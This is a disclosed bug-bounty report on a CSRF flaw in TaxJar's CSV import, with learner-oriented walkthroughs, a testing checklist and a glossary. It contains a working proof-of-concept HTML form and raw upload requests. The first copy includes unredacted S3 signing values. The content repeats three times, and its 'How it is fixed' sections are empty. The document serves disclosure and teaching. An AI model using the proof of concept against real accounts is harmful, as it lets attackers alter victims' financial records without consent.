CSRF in Importing CSV files [app.taxjar.com]
The CSV import feature on app.taxjar.com lacked CSRF protection, allowing an attacker to craft a request that imports a CSV file into a victim's account. An attacker could import transactions into a user's account without their permission.
Originally disclosed on HackerOne
- Triaged in 27 days
- Fixed in 48 days
- Paid in 55 days
- Disclosed after 8 months
Greetings!
Basically, app.taxjar.com has a feature where we can import Transactions from CSV files. I've found that there is lack of CSRF protection in importing CSV documents. I was able to successfully craft a CSRF request.
Steps to reproduce
- Go to app.taxjar.com
- Create two accounts. Alex and Attacker
- From attacker, upload CSV document and intercept request
- The request will look like this...
POST / HTTP/1.1
Host: taxjar-prod-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.taxjar.com/
Content-Type: multipart/form-data; boundary=---------------------------211004162938951800283798959588
Content-Length: 4343
Origin: https://app.taxjar.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="utf8"
✓
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="key"
uploads/e996ac74-689e-4fae-872b-16c537050062/${filename}
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="acl"
bucket-owner-full-control
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="policy"
eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0xNVQyMjo1NzoxOVoiLCJjb25kaXRpb25zIjpbWyJzdGFydHMtd2l0aCIsIiR1dGY4IiwiIl0sWyJzdGFydHMtd2l0aCIsIiRrZXkiLCJ1cGxvYWRzL2U5OTZhYzc0LTY4OWUtNGZhZS04NzJiLTE2YzUzNzA1MDA2Mi8iXSx7IlgtQW16LUFsZ29yaXRobSI6IkFXUzQtSE1BQy1TSEEyNTYifSx7IlgtQW16LUNyZWRlbnRpYWwiOiJBS0lBVTJNR1NaQVVTWVhSR0dBTy8yMDIyMDcxNS91cy1lYXN0LTEvczMvYXdzNF9yZXF1ZXN0In0seyJYLUFtei1EYXRlIjoiMjAyMjA3MTVUMTI1NzE5WiJ9LHsiYnVja2V0IjoidGF4amFyLXByb2QtYnVja2V0In0seyJhY2wiOiJidWNrZXQtb3duZXItZnVsbC1jb250cm9sIn0seyJzdWNjZXNzX2FjdGlvbl9yZWRpcmVjdCI6Imh0dHBzOi8vYXBwLnRheGphci5jb20vY3N2X2ltcG9ydHMvdXBsb2FkX2NvbXBsZXRlIn0sWyJjb250ZW50LWxlbmd0aC1yYW5nZSIsMSw1MjQyODgwMF1dfQ==
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Signature"
cdf6518c0ff866ce94128a4b9b3836c2e367650c319c4a98d92e300474775b62
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Credential"
AKIAU2MGSZAUSYXRGGAO/20220715/us-east-1/s3/aws4_request
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Algorithm"
AWS4-HMAC-SHA256
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Date"
20220715T125719Z
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="success_action_redirect"
https://app.taxjar.com/csv_imports/upload_complete
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="file"; filename="CSV_V1_Template.csv"
Content-Type: application/vnd.ms-excel
provider,order_id,transaction_type,transaction_reference_id,completed_at,customer_name,shiptostreet,shiptocity,shiptostate,shiptozip,shiptocountrycode,from_street,from_city,from_state,from_zip,from_country,shipping_amount,handling_amount,discount_amount,total_sale,sales_tax,exemption_type
web,v1_order_one,Order,,2019-05-04 15:20:47 UTC,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,$10.80,
web,v1_full_refund,Refund,v1_order_one,5/5/2019,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-8,0,0,-113.94,-10.8,
web,v1_order_with_refund,Order,,5/15/2019 3:06,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,8,0,0,113.94,10.8,
web,v1_partial_refund_one,Refund,v1_order_with_refund,5/16/2019,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-1,0,0,-1,-0.8,
web,v1_partial_refund_two,Refund,v1_order_with_refund,2019-05-16 16:16:31 PST,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-7,0,0,-112.94,-10,
web,v1_government_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,government
web,v1_other_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,other
web,v1_non_exempt_order,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,$10.80,non_exempt
web,v1_wholesale_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,wholesale
ebay,v1_marketplace_exempt,Order,,2019-05-02,Vanellope von Schweetz,325 Grove St,Jersey City,NJ,07302,US,325 Grove St,Jersey City,NJ,07302,US,3,3.3,0,102,2.3,marketplace
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="commit"
Upload spreadsheet
-----------------------------211004162938951800283798959588--
- Right click on the request > Do Intercept > Response to this Requets
- Server will send a response like this
HTTP/1.1 303 See Other
x-amz-id-2: MJfWMx2yTnmzg7tbPUlbMLwHCuGJ1bc4MFbj9grzTnwllI0vCEPjDmyWwlpbCTH5RocOPMzjt14=
x-amz-request-id: 4GHN118T2HRAEAQD
Date: Fri, 15 Jul 2022 12:59:06 GMT
ETag: "08ce40c27af955f3cae668e9785abd3e"
Location: https://app.taxjar.com/csv_imports/upload_complete?bucket=taxjar-prod-bucket&key=uploads%2Fe996ac74-689e-4fae-872b-16c537050062%2FCSV_V1_Template.csv&etag=%2208ce40c27af955f3cae668e9785abd3e%22
Server: AmazonS3
Content-Length: 0
Connection: close
- Copy the link in Location header and paste it to alex's account.
- You will see a file will be imported to her account.
POC
<!DOCTYPE html>
<html>
<body>
<form method="GET" action="https://app.taxjar.com/csv_imports/upload_complete?bucket=taxjar-prod-bucket&key=uploads%2Fc73ea1e5-2fa4-4bbe-8f76-d3dfaac39e6f%2FCSV_V2_Template.csv&etag=%22ae5b1f53b6fc912a0980360c0314bdaa%22">
<input type="text" name="bucket" value="taxjar-prod-bucket">
<input type="text" name="key" value="uploads/c73ea1e5-2fa4-4bbe-8f76-d3dfaac39e6f/CSV_V2_Template.csv">
<input type="text" name="etag" value="%22ae5b1f53b6fc912a0980360c0314bdaa%22">
<input type="submit" value="Send">
</form>
</body>
</html>
Impact
CSRF attack, Attacker can import Transactions into user's account without his / her permission.
What the report shows
The target is app.taxjar.com, which offers a feature to import transactions from CSV files. The researcher found that the import flow lacked CSRF protection and was able to craft a cross-site request that imports a file into another user's account.
The reproduction uses two accounts, one belonging to a victim (Alex) and one to the attacker.
- Go to
app.taxjar.com. - Create two accounts, Alex and Attacker.
- From the attacker account, upload a CSV document and intercept the request.
- The intercepted upload request goes to the S3 bucket host and carries a signed policy, signature and credential as form fields, plus the CSV file itself:
POST / HTTP/1.1
Host: taxjar-prod-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.taxjar.com/
Content-Type: multipart/form-data; boundary=---------------------------211004162938951800283798959588
Content-Length: 4343
Origin: https://app.taxjar.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="utf8"
✓
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="key"
uploads/e996ac74-689e-4fae-872b-16c537050062/${filename}
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="acl"
bucket-owner-full-control
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="policy"
[redacted]==
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Signature"
[redacted]
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Credential"
[redacted]/20220715/us-east-1/s3/aws4_request
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Algorithm"
AWS4-HMAC-SHA256
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Date"
20220715T125719Z
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="success_action_redirect"
https://app.taxjar.com/csv_imports/upload_complete
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="file"; filename="CSV_V1_Template.csv"
Content-Type: application/vnd.ms-excel
provider,order_id,transaction_type,transaction_reference_id,completed_at,customer_name,shiptostreet,shiptocity,shiptostate,shiptozip,shiptocountrycode,from_street,from_city,from_state,from_zip,from_country,shipping_amount,handling_amount,discount_amount,total_sale,sales_tax,exemption_type
web,v1_order_one,Order,,2019-05-04 15:20:47 UTC,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,$10.80,
web,v1_full_refund,Refund,v1_order_one,5/5/2019,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-8,0,0,-113.94,-10.8,
web,v1_order_with_refund,Order,,5/15/2019 3:06,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,8,0,0,113.94,10.8,
web,v1_partial_refund_one,Refund,v1_order_with_refund,5/16/2019,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-1,0,0,-1,-0.8,
web,v1_partial_refund_two,Refund,v1_order_with_refund,2019-05-16 16:16:31 PST,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-7,0,0,-112.94,-10,
web,v1_government_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,government
web,v1_other_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,other
web,v1_non_exempt_order,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,$10.80,non_exempt
web,v1_wholesale_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,wholesale
ebay,v1_marketplace_exempt,Order,,2019-05-02,Vanellope von Schweetz,325 Grove St,Jersey City,NJ,07302,US,325 Grove St,Jersey City,NJ,07302,US,3,3.3,0,102,2.3,marketplace
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="commit"
Upload spreadsheet
-----------------------------211004162938951800283798959588--
- Right click on the request, choose Do Intercept, then Response to this Request.
- The server responds with a redirect that carries the bucket, key and etag of the uploaded object:
HTTP/1.1 303 See Other
x-amz-id-2: [redacted]=
x-amz-request-id: 4GHN118T2HRAEAQD
Date: Fri, 15 Jul 2022 12:59:06 GMT
ETag: "[redacted]"
Location: https://app.taxjar.com/csv_imports/upload_complete?bucket=taxjar-prod-bucket&key=uploads%2Fe996ac74-689e-4fae-872b-16c537050062%2FCSV_V1_Template.csv&etag=%[redacted]%22
Server: AmazonS3
Content-Length: 0
Connection: close
- Copy the link in the
Locationheader and paste it into Alex's account. - A file is imported into her account.
The proof of concept is an HTML page that issues a GET request to the upload_complete endpoint with the bucket, key and etag of an already uploaded file:
<!DOCTYPE html>
<html>
<body>
<form method="GET" action="https://app.taxjar.com/csv_imports/upload_complete?bucket=taxjar-prod-bucket&key=uploads%2Fc73ea1e5-2fa4-4bbe-8f76-d3dfaac39e6f%2FCSV_V2_Template.csv&etag=%[redacted]%22">
<input type="text" name="bucket" value="taxjar-prod-bucket">
<input type="text" name="key" value="uploads/c73ea1e5-2fa4-4bbe-8f76-d3dfaac39e6f/CSV_V2_Template.csv">
<input type="text" name="etag" value="%[redacted]%22">
<input type="submit" value="Send">
</form>
</body>
</html>
Root cause
The import is split in two: the browser uploads the file directly to an S3 bucket using a presigned policy, and the application is then told that the upload finished through a GET request to /csv_imports/upload_complete, which takes bucket, key and etag as parameters. That second request is what actually attaches the file to the account, and the report shows no CSRF token in it.
Impact
An attacker can import transactions into a victim's account without their permission. The report frames this as a CSRF attack and does not go further into what the imported data could be used for.
How this kind of bug works
CSRF abuses the fact that browsers attach a user's cookies to requests sent to a site, regardless of which page caused the request. If an endpoint changes state and authenticates the caller only by session cookie, a page on another origin can make the victim's browser send that request. Classic protections are a per-session or per-request token that the attacker cannot read, checking the Origin or Referer header, and avoiding state changes on GET. SameSite cookies reduce exposure but are not a substitute for server-side checks.
How to test for it
- Map every request that changes state: imports, exports, settings changes, invitations, API key creation, billing changes.
- For each, note the method, whether a token or nonce is present, and whether the action can be expressed as a GET with all inputs in the query string.
- Replay the request with the token removed, or with a token from a different session, and see whether it still succeeds.
- Build a page on a different origin that submits the same request and load it while authenticated. A positive result is a visible state change on the target account.
- For multi-step flows such as direct-to-storage uploads, test the completion callback separately: it is often the step that lacks protection.
Common false positives: endpoints that only return data, requests that fail because of SameSite cookie settings in the test browser, and tokens that are validated but not required for the specific action. Confirm the change persists after a fresh login.
How it is fixed
Hunting notes
Import and export flows, direct-to-cloud uploads with completion callbacks, and OAuth or payment return URLs are common places for this. Look for state-changing GETs and for endpoints that accept identifiers from the URL. To show impact, demonstrate a concrete change on a second account and describe what an attacker gains from it.
What happened, in plain words
TaxJar is a service for calculating sales tax, and app.taxjar.com is its web application. One of its features lets a user import transactions from a CSV file, which is a plain text file where each line is a row of data separated by commas, like a simple spreadsheet saved as text.
To understand why that matters, you need two ideas.
A request is what your browser sends to a website when you click something or load a page: a short message asking the server to do something, such as "show me my transactions" or "save this file". A cookie is a small piece of data the site stored in your browser when you logged in. Your browser automatically attaches that cookie to every request it sends to that site, no matter which page told it to send the request. That automatic attachment is what makes the bug possible.
CSRF, short for Cross-Site Request Forgery, is when an attacker's page makes your browser send a request to another site while you are logged in there. The site sees your valid cookie and treats the request as yours. The everyday comparison: a bank teller who knows your face accepts a withdrawal slip handed over by a stranger, because the slip has your account number on it. The teller checks the account number, not who is holding the paper.
The technical write-up, step by step
The import is split into two parts. First the browser uploads the CSV file directly to an Amazon S3 bucket, which is online file storage. Then the application is told that the upload finished, and that second message is what actually attaches the file to the account.
- Go to
app.taxjar.com. - Create two accounts, Alex and Attacker. Two accounts are needed because the point is to act on someone else's data.
- From the attacker account, upload a CSV document and intercept the request. Intercepting means pausing the request in a proxy tool, a program that sits between browser and server so you can read and edit the traffic.
- The intercepted upload request goes to the S3 bucket host and carries a signed policy, signature and credential as form fields, plus the CSV file itself:
POST / HTTP/1.1
Host: taxjar-prod-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.taxjar.com/
Content-Type: multipart/form-data; boundary=---------------------------211004162938951800283798959588
Content-Length: 4343
Origin: https://app.taxjar.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="utf8"
✓
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="key"
uploads/e996ac74-689e-4fae-872b-16c537050062/${filename}
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="acl"
bucket-owner-full-control
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="policy"
[redacted]==
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Signature"
[redacted]
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Credential"
[redacted]/20220715/us-east-1/s3/aws4_request
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Algorithm"
AWS4-HMAC-SHA256
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="X-Amz-Date"
20220715T125719Z
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="success_action_redirect"
https://app.taxjar.com/csv_imports/upload_complete
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="file"; filename="CSV_V1_Template.csv"
Content-Type: application/vnd.ms-excel
provider,order_id,transaction_type,transaction_reference_id,completed_at,customer_name,shiptostreet,shiptocity,shiptostate,shiptozip,shiptocountrycode,from_street,from_city,from_state,from_zip,from_country,shipping_amount,handling_amount,discount_amount,total_sale,sales_tax,exemption_type
web,v1_order_one,Order,,2019-05-04 15:20:47 UTC,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,$10.80,
web,v1_full_refund,Refund,v1_order_one,5/5/2019,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-8,0,0,-113.94,-10.8,
web,v1_order_with_refund,Order,,5/15/2019 3:06,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,8,0,0,113.94,10.8,
web,v1_partial_refund_one,Refund,v1_order_with_refund,5/16/2019,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-1,0,0,-1,-0.8,
web,v1_partial_refund_two,Refund,v1_order_with_refund,2019-05-16 16:16:31 PST,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-7,0,0,-112.94,-10,
web,v1_government_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,government
web,v1_other_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,other
web,v1_non_exempt_order,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,$10.80,non_exempt
web,v1_wholesale_exempt,Order,,2019-05-05,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,0,wholesale
ebay,v1_marketplace_exempt,Order,,2019-05-02,Vanellope von Schweetz,325 Grove St,Jersey City,NJ,07302,US,325 Grove St,Jersey City,NJ,07302,US,3,3.3,0,102,2.3,marketplace
-----------------------------211004162938951800283798959588
Content-Disposition: form-data; name="commit"
Upload spreadsheet
-----------------------------211004162938951800283798959588--
The first line says this is a POST, the method used to send data to a server. Host is the server being contacted, here the S3 storage. The Content-Type line with multipart/form-data and a boundary means the body is split into parts, each separated by that boundary string, like sections of a form. Each part has a name, and the interesting ones are key (where the file is stored), policy, X-Amz-Signature and X-Amz-Credential (proof that the upload was authorised), success_action_redirect (where to send the browser afterwards) and file, which holds the CSV content. The Origin header tells the server which site the request came from.
- Right click on the request, choose Do Intercept, then Response to this Request. This pauses the reply coming back from the server so it can be read.
- The server responds with a redirect that carries the bucket, key and etag of the uploaded object:
HTTP/1.1 303 See Other
x-amz-id-2: [redacted]=
x-amz-request-id: 4GHN118T2HRAEAQD
Date: Fri, 15 Jul 2022 12:59:06 GMT
ETag: "[redacted]"
Location: https://app.taxjar.com/csv_imports/upload_complete?bucket=taxjar-prod-bucket&key=uploads%2Fe996ac74-689e-4fae-872b-16c537050062%2FCSV_V1_Template.csv&etag=%[redacted]%22
Server: AmazonS3
Content-Length: 0
Connection: close
A 303 response means "look somewhere else". The Location header is the address the browser is sent to next, and it contains three pieces of information in the URL: bucket, key and etag. The etag is a short fingerprint of the stored file. This address is the completion step.
- Copy the link in the
Locationheader and paste it into Alex's account. - A file is imported into her account.
The proof of concept is an HTML page that issues a GET request to the upload_complete endpoint with the bucket, key and etag of an already uploaded file:
<!DOCTYPE html>
<html>
<body>
<form method="GET" action="https://app.taxjar.com/csv_imports/upload_complete?bucket=taxjar-prod-bucket&key=uploads%2Fc73ea1e5-2fa4-4bbe-8f76-d3dfaac39e6f%2FCSV_V2_Template.csv&etag=%[redacted]%22">
<input type="text" name="bucket" value="taxjar-prod-bucket">
<input type="text" name="key" value="uploads/c73ea1e5-2fa4-4bbe-8f76-d3dfaac39e6f/CSV_V2_Template.csv">
<input type="text" name="etag" value="%[redacted]%22">
<input type="submit" value="Send">
</form>
</body>
</html>
This is an ordinary web page with a form. The action is the address the form submits to, and method="GET" means the values are put in the URL. The three inputs hold the bucket, key and etag. The attacker never needs to know the victim's password.
Why it works
The import is split in two: the browser uploads the file directly to an S3 bucket using a presigned policy, and the application is then told that the upload finished through a GET request to /csv_imports/upload_complete, which takes bucket, key and etag as parameters. A CSRF token is a random value the site puts in its own pages and expects back, which an attacker's page cannot guess.
Impact
An attacker can import transactions into a victim's account without their permission. The report frames this as a CSRF attack and does not go further into what the imported data could be used for.
In general, how this kind of bug works
CSRF abuses the fact that browsers attach a user's cookies to requests sent to a site, regardless of which page caused the request. If an endpoint changes state and authenticates the caller only by session cookie, a page on another origin can make the victim's browser send that request. Classic protections are a per-session or per-request token that the attacker cannot read, checking the Origin or Referer header, and avoiding state changes on GET. SameSite cookies reduce exposure but are not a substitute for server-side checks.
In general, how to test for it
- Map every request that changes state: imports, exports, settings changes, invitations, API key creation, billing changes.
- For each, note the method, whether a token or nonce is present, and whether the action can be expressed as a GET with all inputs in the query string.
- Replay the request with the token removed, or with a token from a different session, and see whether it still succeeds.
- Build a page on a different origin that submits the same request and load it while authenticated. A positive result is a visible state change on the target account.
- For multi-step flows such as direct-to-storage uploads, test the completion callback separately: it is often the step that lacks protection.
Common false positives: endpoints that only return data, requests that fail because of SameSite cookie settings in the test browser, and tokens that are validated but not required for the specific action. Confirm the change persists after a fresh login.
In general, how it is fixed
In general, where to look
Import and export flows, direct-to-cloud uploads with completion callbacks, and OAuth or payment return URLs are common places for this. Look for state-changing GETs and for endpoints that accept identifiers from the URL. To show impact, demonstrate a concrete change on a second account and describe what an attacker gains from it.
Glossary
- CSRF (Cross-Site Request Forgery): an attack where another website makes your browser send a request to a site you are logged in to, using your cookie.
- Request: the message a browser sends to a server asking it to do something.
- Response: the message a server sends back.
- Cookie: small data stored by a site in your browser and sent automatically with each request to that site.
- Session: the period during which a site recognises you as logged in, usually via a cookie.
- CSRF token: a random value placed in the site's own pages and required back by the server, which an attacker's page cannot know.
- GET: a request method that asks for data and puts parameters in the URL.
- POST: a request method that sends data in the body, used for uploads and form submissions.
- Endpoint: a specific address on a server that performs an action.
- Parameter / query string: the
name=valuepairs after the?in a URL. - Header: a labelled line in a request or response carrying metadata, such as
OriginorLocation. - Origin: the combination of scheme, host and port that identifies which site a request came from.
- Referer: a header telling the server the address of the page that caused the request.
- SameSite: a cookie setting that limits when the browser sends the cookie on cross-site requests.
- CSV: a text file where each line is a row of values separated by commas.
- S3 bucket: Amazon's online file storage; a bucket is a container for files.
- Presigned policy / signature: a time-limited authorisation issued by the server so the browser can upload directly to storage.
- ETag: a short fingerprint identifying a stored file.
- 303 See Other: a response telling the browser to go to another address.
- Proxy / intercept: a tool that sits between browser and server so traffic can be paused, read and edited.
- Multipart form data: a request body split into named parts, used for file uploads.
- State-changing request: a request that alters data, as opposed to one that only reads it.
- False positive: a test result that looks like a bug but is not one.